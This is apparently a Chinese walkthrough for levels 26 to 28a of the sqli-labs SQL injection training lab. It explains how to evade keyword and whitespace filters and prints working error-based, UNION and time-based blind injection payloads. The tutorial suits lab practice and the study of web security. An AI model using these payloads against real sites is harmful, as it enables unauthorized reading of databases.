sqli-labs通关攻略教程六(less26~less28a)

2023-11-01

less 26

  1. 在这里插入图片描述

方法1

  1. 由题目可知,本题绕过了空格和注释,注释符用|| '1'='1或者;%00绕过。
    空白符绕过
    (1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/*xxx*/
    (2)正则空白符:%09、%0A、%0B、%0D、%20
    25%为百分号,%25A0就是空白符
    绕开空格
  • %09——TAB键(水平)
  • %0a——新建一行
  • %0c——新的一页
  • %0d return 功能
  • %0b——TAB键(垂直)
  • %a0——空格
  1. 由源码可知,题目还将and、or等下列这些字符不区分大小写且用空格代替,于是想到利用双写绕过oorr,and也可以用%26%26来绕过,or可以用||来绕过。在这里插入图片描述

方法2

  1. 因此,可以使用与25关的方法2相同的方法。
    less 25 方法2
?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1' ='1

在这里插入图片描述

补充知识

HTML URL编码

less 26a

在这里插入图片描述
2. 由题目可知,本题采用盲注的思路,且闭合方式为')
3.查看源码, 将打印的报错信息注释掉,因此只能考虑盲注在这里插入图片描述

  1. 其余思路与less 26相同。

less 27

  1. 在这里插入图片描述
  2. 查看源码,过滤了空格,注释符,union、select在这里插入图片描述
  3. 过滤空格和注释符可以参考前一关的方法1
 ?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1 

使用与25关相同的思路——报错注入在这里插入图片描述
5. 或者使用盲注思路、联合注入(大小写注入)。
6.

?id=999'%0AUNion%0ASElEct%0A1,2,3||'1'='1

在这里插入图片描述

less 27a

  1. 在这里插入图片描述
  2. 在这里插入图片描述
  3. 本关可以使用联合注入(大小写注入),也可以使用盲注的思路,空格和注释的过滤可以参考less 26的方法1
?id=999"%0AUNion%0ASElEct%0A1,2,3||'1'='1  //联合注入


?id=999" %26%26 if(length(database())>9,1,sleep(10)) %26%26  %0a '1'='1  //盲注

在这里插入图片描述

less 28

  1. 在这里插入图片描述
  2. 在这里插入图片描述
  3. 本关的闭合方式为')
/?id=111') %a0 union%a0 select %a0 1,2,3 || '1'='1  //联合注入 
/?id=111') %a0 union%a0 select %a0 1,2,3 %26%26 '1'='1 
/?id=111') %a0 union%a0 select %a0 1,2,3 || ('1')=('1 
/?id=1') %a0 %26%26 if(length(database())>9,1,sleep(5));%00  //基于时间的盲注

less 28a

  1. 在这里插入图片描述
  2. 查看源码,打印报错信息被注释掉,代表不能使用报错注入。且过滤点只有一个。在这里插入图片描述
?id=1') Union SElect 1,2,3--+

在这里插入图片描述

?id=111')%a0Union%a0%a0SElect 1,2,3--+
  1. 基于时间的盲注
?id=1')%a0and%a0if(length(database())>9,1,sleep(5))--+  
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs通关攻略教程六(less26~less28a) 的相关文章

随机推荐

  • 谷歌浏览器插件Automa_2.点击和输入文字

    操作 普通玩家对于组件的操作无非就输入文字 点击控件跳转页面 但高端玩家会为这些操作加上各种限制条件以让其适应各种网页 而这些内容将在进阶篇介绍 点击 1 找到你要点击的位置 2 定位它 这里有讲如何定位 3 复制那个位置 粘贴到元素选择器
  • Pytorch学习笔记(1)第四章 神经网络工具箱nn

    今天学习内容 https github com chenyuntc pytorch book blob master chapter4 E7 A5 9E E7 BB 8F E7 BD 91 E7 BB 9C E5 B7 A5 E5 85 B
  • 账号和权限管理——设置目录和文件的归属(五)

    设置目录和文件的归属 1 chown 命令 需要设置文件或者目录的归属时 主要通过 chown 命令进行 可以只设置属主或属组 也可以同时设置属主 属组 使用 chown 命令的基本格式如下 chown 属主 属组 文件或目录 同时设置属主
  • django入门:Admin管理系统及表单(干货)

    点击上方蓝字关注公众号 码个蛋第310次推文 作者 Kuky xs 博客 https www jianshu com p 8cdf099e974f 前言 django入门 环境及项目搭建 django入门 数据模型 django入门 视图及
  • Anaconda安装虚拟环境下的Jupyter Notebook没有快捷方式怎么办

    Anaconda安装虚拟环境下的Jupyter Notebook没有快捷方式怎么办 今天为了安装tensorflow 在anaconda环境下创建了一个名称为tensorflow虚拟环境 一波操作装完了tensorflow之后 为了在jup
  • 食品行业仓储条码管理系统解决方案

    食品行业总是保持一贯的稳健增势 而且整体行业在产品结构 市场竞争力 运营成本等方面仍有相当的潜力可以发掘 但食品安全问题 消费者口味的不断变化 多变的渠道模式和供应链效率问题 这些都为食品饮料行业建立了一个动荡的充满挑战和机遇的商业环境 而
  • Oracle 数据库升级

    转载来源 Oracle 数据库升级 https mp weixin qq com s LIDIsmeZRRfZmOVtOkeznQ 一 环境准备 本次测试尽量按照生产环境升级进行模拟 故而使用2台主机进行测试 注意 源库为生产环境 linu
  • 【Java编程】JavaSE基础总结(六):多线程

    JavaSE基础总结 六 进程是程序执行的实体 每一个进程都是一个应用程序 比如我们运行QQ 浏览器 LOL 网易云音乐等软件 都有自己的内存空间 CPU 一个核心同时只能处理一件事情 当出现多个进程需要同时运行时 CPU一般通过 时间片轮
  • [精通Objective-C]块(block)

    精通Objective C 块 block 参考书籍 精通Objective C 美 Keith Lee 目录 精通Objective C块block 目录 块的语法 块的词汇范围 块的内存管理 块的使用 使用块为数组排序 使用块的并行编程
  • 让你真正明白cinder与swift、glance的区别

    http www aboutyun com thread 10060 1 1 html 问题导读 1 你认为cinder与swift区别是什么 2 cinder是否存在单点故障 3 cinder是如何发展而来的 在openstack中 我们
  • 计算机辅助绘图考试题,计算机辅助设计绘图考试题(A)(大学期末复习试题).doc...

    教师试做时间出题教师 取题时间审核教研室主任出题单位使用班级考试日期院 部 主任考试成绩期望值印刷份数规定完成时间交教务科印刷日期 学号 姓名 班级 密 封 线 专业 年级 班 学年 第 学期 计算机辅助设计绘图 A 课试卷 题号一二三四五
  • Swagger 的简介和使用

    文章目录 Swagger 的简介和使用 什么是Swagger 简介 Swagger页面 Swagger快速上手 pom xml文件中引入依赖 构建Swagger配置类 Swagger使用 常用注解说明 注解的使用 总结 Swagger 的简
  • Spark jar包加载顺序及冲突解决

    一 spark jar包加载顺序 1 SystemClasspath Spark安装时候提供的依赖包 通常是spark home目录下的jars文件夹 SystemClassPath 2 Spark submit jars 提交的依赖包 U
  • Java-Map集合

    基本使用 public class Demomap public static void main String args Map
  • 关于VMware workstation Player的虚拟网络编辑器没有的情况

    VMware workstation Player 是没有 虚拟网络编辑器的 如果要按照韦东山老师的方法去配置NAT网络 可以再下载VMware workstation pro 尽管不在试用期 依然会给你虚拟网络编辑器的应用安装
  • 光照 (5) 光照贴图

    物体在不同的部件上都有不同的材质属性 1 1 漫反射 允许我们对物体的漫反射分量 以及间接地对环境光分量 它们几乎总是一样的 和镜面光分量有着更精确的控制 漫反射贴图 Diffuse Map 使用一张覆盖物体的图像 让我们能够逐片段索引其独
  • 十大排序算法:快速排序算法

    一 快速排序算法思想或步骤 分解 数组A p r 被划分为两个子数组A p q 1 和A q 1 r 使得A q 为大小居中的数 左侧A p q 1 中的每个元素都小于等于它 而右边A q 1 r 每个元素都大于等于它 解决 通过递归调用快
  • linux shell oracle脚本_分享一个shell脚本--统计Oracle最消耗资源的SQL语句

    概述 This project meant to provide useful scripts for DB maintance and management to make work easier and interesting 今天主要
  • Unity Shader Graphs无法代码动态赋值的问题解决

    起因 给一个材质球更换图片 动态更换了很久 换不上去 解决 Reference unity给的是随机的名字只需要改成自己的名字就可以了 完美解决 不需要下划线 只是自己定义的名字 box EndTarget image material S
  • sqli-labs通关攻略教程六(less26~less28a)

    文章目录 less 26 方法1 方法2 补充知识 less 26a less 27 less 27a less 28 less 28a less 26 方法1 由题目可知 本题绕过了空格和注释 注释符用 1 1或者 00绕过 空白符绕过